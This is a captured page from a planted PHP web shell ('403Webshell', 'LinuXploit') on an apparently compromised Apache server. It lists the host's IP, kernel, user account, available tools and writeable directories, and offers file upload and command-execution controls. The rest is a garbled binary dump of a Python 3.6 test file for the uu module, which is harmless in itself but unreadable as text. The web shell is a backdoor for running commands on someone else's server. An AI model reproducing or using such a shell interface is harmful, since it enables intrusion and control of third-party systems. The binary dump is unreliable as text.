403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_uu.cpython-36.opt-2.pyc
3

�
�^��@s�ddlZddlmZddlZddlZddlZdZdZGdd�dej�Z	dd�Z
Gd	d
�d
ej�ZGdd�dej�Z
Gd
d�dej�Zdd�Zedkr�e�dS)�N)�supports5The smooth-scaled python crept over the sleeping dog
sKM5&AE('-M;V]T:"US8V%L960@<'ET:&]N(&-R97!T(&]V97(@=&AE('-L965P
(:6YG(&1O9PH cs&eZdZd	�fdd�	Zdd�Z�ZS)
�FakeIO��utf-8�strict�
csVtt|�jtj�|||d�||_||_|rRt|t�s>t|�}|j	|�|j
d�dS)N)�encoding�errors�newliner)�superr�__init__�io�BytesIO�	_encoding�_errors�
isinstance�str�write�seek)�selfZ
initial_valuerr	r
)�	__class__��,/opt/alt/python36/lib64/python3.6/test_uu.pyrs

zFakeIO.__init__cCs|j�|jj�j|j|j�S)N)�flush�buffer�getvalue�decoderr)rrrrr*szFakeIO.getvalue)rrrr)�__name__�
__module__�__qualname__rr�
__classcell__rr)rrrs
rcCstd||fd�tdS)Nzbegin %03o %s
�asciis
 
end
)�bytes�encodedtext)�mode�filenamerrr�encodedtextwrapped/sr&c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�UUTestcCsrtjt�}tj�}tj||d�|j|j�tdd��tjt�}tj�}tj||dd�|j|j�tdd��dS)N�t1i�i�)r
r�	plaintext�uu�encode�assertEqualrr&)r�inp�outrrr�test_encode5s

zUUTest.test_encodecCsptjtdd��}tj�}tj||�|j|j�t�tjdtdd��}tj�}tj||�|j|j�t�dS)Ni�r(s(UUencoded files may contain many lines,
s%even some that have 'begin' in them.
sMUUencoded files may contain many lines,
even some that have 'begin' in them.
)r
rr&r*rr,rr))rr-r.rrr�test_decode?szUUTest.test_decodecCsjtjdt�}tj�}ytj||�|jd�Wn4tjk
rd}z|jt|�d�WYdd}~XnXdS)Ns
begin 644 t1
zNo exception raisedzTruncated input file)	r
rr#r*r�fail�Errorr,r)rr-r.�errr�test_truncatedinputMszUUTest.test_truncatedinputcCsftjd�}tj�}ytj||�|jd�Wn4tjk
r`}z|jt|�d�WYdd}~XnXdS)N�zNo exception raisedz'No valid begin line found in input file)r
rr*rr1r2r,r)rr-r.r3rrr�test_missingbeginVs
zUUTest.test_missingbegincCs�d}d}|jd��8tj|�}tj�}tj||dd�|j|j�|�WdQRX|jd��&ddl}|j|d�}|j||�WdQRXdS)Nsbegin 644 file
!,___
 
end
�3zuu.decode()T)�quiet�uu_codecr)ZsubTestr
rr*rr,r�codecs)rr#r)r-r.r:Zdecodedrrr�test_garbage_padding_s
zUUTest.test_garbage_paddingcCs<tjt�}tj�}d}d}tj|||�|j||j��dS)Nztest.txt

overflow.txtstest.txt\n\roverflow.txt)r
rr)r*r+ZassertInr)rr-r.r%Zsafefilenamerrr�test_newlines_escapedus
zUUTest.test_newlines_escapedN)	rrrr/r0r4r6r;r<rrrrr'3s
		r'c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�UUStdIOTestcCstj|_tj|_dS)N)�sys�stdin�stdout)rrrr�setUp�szUUStdIOTest.setUpcCs|jt_|jt_dS)N)r?r>r@)rrrr�tearDown�szUUStdIOTest.tearDowncCsJttjd��t_t�t_tjdddd�|jtjj	�t
dd�jd��dS)Nr!�-r(i�)rr)rr>r?r@r*r+r,rr&)rrrrr/�s
zUUStdIOTest.test_encodecCsZttdd�jd��t_t�t_tjdd�tj}|jt_|jt_|j|j�t	jd��dS)Ni�r(r!rC)
rr&rr>r?r@r*r,rr))rr@rrrr0�szUUStdIOTest.test_decodeN)rrrrArBr/r0rrrrr=~sr=c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�
UUFileTestcCs<tjd|_tjd|_|jtj|j�|jtj|j�dS)N�i�o)rZTESTFN�tmpin�tmpoutZ
addCleanup�unlink)rrrrrA�szUUFileTest.setUpc(Cs�t|jd��}|jt�WdQRXt|jd��2}t|jd��}tj|||jdd�WdQRXWdQRXt|jd��}|j�}WdQRX|j|t	d|j��tj|j|j|jdd�t|jd��}|j�}WdQRX|j|t	d|j��dS)N�wb�rbi�)r$)
�openrGrr)rHr*r+�readr,r&)rZfinZfout�srrrr/�s(zUUFileTest.test_encodecCs|t|jd��}|jtd|j��WdQRXt|jd��}tj|�WdQRXt|jd��}|j�}WdQRX|j|t	�dS)NrJi�rK)
rLrGrr&rHr*rrMr,r))r�frNrrrr0�szUUFileTest.test_decodecCsft|jd��}|jtd|j��WdQRXtj|j�t|jd��}|j�}WdQRX|j|t	�dS)NrJi�rK)
rLrGrr&rHr*rrMr,r))rrOrNrrr�test_decode_filename�szUUFileTest.test_decode_filenamecCszt|jd��}|jtd|j��WdQRXt|jd��}tj|�WdQRXt|jd��}|jtjtj|�WdQRXdS)NrJi�rK)	rLrGrr&rHr*rZassertRaisesr2)rrOrrr�test_decodetwice�szUUFileTest.test_decodetwiceN)rrrrAr/r0rPrQrrrrrD�s

rDcCstjttt�dS)N)rZrun_unittestr'r=rDrrrr�	test_main�srR�__main__)ZunittestZtestrr>r*r
r)r#�
TextIOWrapperrr&ZTestCaser'r=rDrRrrrrr�<module>sK:

Youez - 2016 - github.com/yon3zu
LinuXploit